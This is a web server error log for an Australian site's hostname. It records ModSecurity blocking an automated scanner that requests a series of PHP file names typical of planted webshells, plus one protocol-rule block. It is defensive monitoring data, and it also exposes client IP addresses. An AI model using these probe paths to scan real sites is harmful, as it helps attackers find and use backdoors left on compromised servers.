[Mon Dec 15 20:41:22.184146 2025] [:error] [pid 31372:tid 31398] [client 4.194.147.174:19318] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aUAB8gN06qRtpJxyxHihCAAAAJY"]
[Mon Dec 15 20:41:22.425600 2025] [:error] [pid 31372:tid 31399] [client 4.194.147.174:16386] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aUAB8gN06qRtpJxyxHihCgAAAJc"]
[Mon Dec 15 20:41:22.767196 2025] [:error] [pid 31459:tid 31465] [client 4.194.147.174:16413] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aUAB8jqerS0TDpViRztngAAAAAQ"]
[Mon Dec 15 20:41:22.994828 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:16501] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aUAB8nFdnrU7ASwItVLgfwAAAMA"]
[Mon Dec 15 20:41:23.332619 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:19276] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aUAB8xaJK6javjid3xy1-gAAAQ8"]
[Mon Dec 15 20:41:23.544352 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:19202] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUAB8xaJK6javjid3xy1_AAAAQw"]
[Mon Dec 15 20:41:23.719316 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:16466] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUAB8xaJK6javjid3xy1_QAAARg"]
[Mon Dec 15 20:41:23.973039 2025] [:error] [pid 31373:tid 31411] [client 4.194.147.174:16411] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aUAB83FdnrU7ASwItVLggAAAAMY"]
[Mon Dec 15 20:41:25.590652 2025] [proxy_fcgi:error] [pid 31459:tid 31478] [client 4.194.147.174:19256] AH01071: Got error 'Primary script unknown'
[Mon Dec 15 20:41:26.783149 2025] [:error] [pid 31459:tid 31473] [client 4.194.147.174:19256] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUAB9jqerS0TDpViRztnlgAAAAw"]
[Mon Dec 15 20:41:26.991784 2025] [:error] [pid 31373:tid 31421] [client 4.194.147.174:19246] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUAB9nFdnrU7ASwItVLgkgAAANA"]
[Mon Dec 15 20:41:27.227085 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16335] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUAB9xaJK6javjid3xy2AgAAAQ8"]
[Mon Dec 15 20:41:27.584668 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16415] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aUAB9zqerS0TDpViRztnlwAAAAY"]
[Mon Dec 15 20:41:27.835767 2025] [:error] [pid 31459:tid 31482] [client 4.194.147.174:16412] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUAB9zqerS0TDpViRztnmQAAABU"]
[Mon Dec 15 20:41:28.153904 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16322] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUAB-JzSh8b7uk6RWiFh3gAAAE4"]
[Mon Dec 15 20:41:28.611455 2025] [:error] [pid 31373:tid 31412] [client 4.194.147.174:19312] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUAB-HFdnrU7ASwItVLglQAAAMc"]
[Mon Dec 15 20:41:28.796578 2025] [:error] [pid 31372:tid 31394] [client 170.106.15.3:45334] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUAB-AN06qRtpJxyxHihFAAAAJI"]
[Mon Dec 15 20:41:28.825400 2025] [:error] [pid 31372:tid 31386] [client 4.194.147.174:16347] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aUAB-AN06qRtpJxyxHihFQAAAIo"]
[Mon Dec 15 20:41:29.129765 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:16505] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aUAB-XFdnrU7ASwItVLgmAAAAME"]
[Mon Dec 15 20:41:29.457257 2025] [:error] [pid 52155:tid 52166] [client 4.194.147.174:16396] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aUAB-RaJK6javjid3xy2BgAAAQg"]
[Mon Dec 15 20:41:29.802939 2025] [:error] [pid 31459:tid 31471] [client 4.194.147.174:16321] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aUAB-TqerS0TDpViRztnnQAAAAo"]
[Mon Dec 15 20:41:30.185920 2025] [:error] [pid 31373:tid 31417] [client 4.194.147.174:19238] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aUAB-nFdnrU7ASwItVLgngAAAMw"]
[Mon Dec 15 20:41:30.467316 2025] [:error] [pid 31459:tid 31474] [client 4.194.147.174:16446] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUAB-jqerS0TDpViRztnoAAAAA0"]
[Mon Dec 15 20:41:30.743288 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:16356] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUAB-jqerS0TDpViRztnoQAAAAk"]
[Mon Dec 15 20:41:31.045495 2025] [:error] [pid 31372:tid 31399] [client 4.194.147.174:16391] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUAB-wN06qRtpJxyxHihFgAAAJc"]
[Mon Dec 15 20:41:31.257997 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:16400] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aUAB-3FdnrU7ASwItVLgpAAAAMA"]
[Mon Dec 15 20:41:31.509715 2025] [:error] [pid 31373:tid 31412] [client 4.194.147.174:16392] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aUAB-3FdnrU7ASwItVLgpQAAAMc"]
[Mon Dec 15 20:41:31.723485 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16480] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aUAB-xaJK6javjid3xy2CgAAARY"]
[Mon Dec 15 20:41:32.008583 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:16483] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aUAB_AN06qRtpJxyxHihGAAAAIE"]
[Mon Dec 15 20:41:32.281433 2025] [:error] [pid 31372:tid 31393] [client 4.194.147.174:16404] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hk.php"] [unique_id "aUAB_AN06qRtpJxyxHihGQAAAJE"]
[Mon Dec 15 20:41:32.564043 2025] [:error] [pid 31374:tid 31451] [client 4.194.147.174:16405] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aUAB_JzSh8b7uk6RWiFh5AAAAFM"]
[Mon Dec 15 20:41:32.884575 2025] [:error] [pid 31373:tid 31413] [client 4.194.147.174:19236] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aUAB_HFdnrU7ASwItVLgqgAAAMg"]
[Mon Dec 15 20:41:33.160443 2025] [:error] [pid 31372:tid 31379] [client 4.194.147.174:16494] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aUAB_QN06qRtpJxyxHihHQAAAIM"]
[Mon Dec 15 20:41:33.525251 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:19300] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/yas.php"] [unique_id "aUAB_TqerS0TDpViRztnpwAAAAY"]
[Mon Dec 15 20:41:33.883069 2025] [:error] [pid 31374:tid 31445] [client 4.194.147.174:16260] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUAB_ZzSh8b7uk6RWiFh5gAAAE0"]
[Mon Dec 15 20:41:34.231410 2025] [:error] [pid 31459:tid 31471] [client 4.194.147.174:19259] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUAB_jqerS0TDpViRztnqQAAAAo"]
[Mon Dec 15 20:41:34.512224 2025] [:error] [pid 52155:tid 52171] [client 4.194.147.174:16323] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUAB_haJK6javjid3xy2EgAAAQ0"]
[Mon Dec 15 20:41:34.981499 2025] [:error] [pid 31459:tid 31468] [client 4.194.147.174:16431] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aUAB_jqerS0TDpViRztnrAAAAAc"]
[Mon Dec 15 20:41:35.445622 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16424] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aUAB_xaJK6javjid3xy2FwAAAQE"]
[Mon Dec 15 20:41:35.743069 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16438] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aUAB_xaJK6javjid3xy2GAAAARY"]
[Mon Dec 15 20:41:36.162304 2025] [:error] [pid 31374:tid 31446] [client 4.194.147.174:16357] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aUACAJzSh8b7uk6RWiFh6QAAAE4"]
[Mon Dec 15 20:41:36.410962 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16315] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aUACABaJK6javjid3xy2GQAAAQk"]
[Mon Dec 15 20:41:36.649649 2025] [:error] [pid 31372:tid 31394] [client 4.194.147.174:16393] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aUACAAN06qRtpJxyxHihIQAAAJI"]
[Mon Dec 15 20:41:36.897226 2025] [:error] [pid 52155:tid 52170] [client 4.194.147.174:16510] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aUACABaJK6javjid3xy2HAAAAQw"]
[Mon Dec 15 20:41:37.139129 2025] [:error] [pid 52155:tid 52182] [client 4.194.147.174:16285] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aUACARaJK6javjid3xy2HgAAARg"]
[Mon Dec 15 20:41:37.525087 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16300] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aUACATqerS0TDpViRztnswAAAAY"]
[Mon Dec 15 20:41:37.790805 2025] [:error] [pid 31372:tid 31395] [client 4.194.147.174:16294] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aUACAQN06qRtpJxyxHihJgAAAJM"]
[Mon Dec 15 20:41:38.005002 2025] [:error] [pid 31459:tid 31485] [client 4.194.147.174:19237] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aUACAjqerS0TDpViRztntwAAABg"]
[Mon Dec 15 20:41:38.284087 2025] [:error] [pid 31373:tid 31416] [client 4.194.147.174:16428] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aUACAnFdnrU7ASwItVLgsAAAAMs"]
[Mon Dec 15 20:41:38.606636 2025] [:error] [pid 31374:tid 31448] [client 4.194.147.174:16493] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aUACApzSh8b7uk6RWiFh7QAAAFA"]
[Mon Dec 15 20:41:38.976218 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:16462] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aUACAgN06qRtpJxyxHihJwAAAIA"]
[Mon Dec 15 20:41:39.200720 2025] [:error] [pid 52155:tid 52169] [client 4.194.147.174:16410] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aUACAxaJK6javjid3xy2IQAAAQs"]
[Mon Dec 15 20:41:39.445770 2025] [:error] [pid 31374:tid 31433] [client 4.194.147.174:16417] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aUACA5zSh8b7uk6RWiFh8AAAAEE"]
[Mon Dec 15 20:41:39.701301 2025] [:error] [pid 31372:tid 31381] [client 4.194.147.174:16474] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aUACAwN06qRtpJxyxHihKQAAAIU"]
[Mon Dec 15 20:41:39.978303 2025] [:error] [pid 31373:tid 31429] [client 4.194.147.174:16486] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUACA3FdnrU7ASwItVLgtgAAANg"]
[Mon Dec 15 20:41:40.253210 2025] [:error] [pid 52155:tid 52159] [client 4.194.147.174:16373] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aUACBBaJK6javjid3xy2IgAAAQE"]
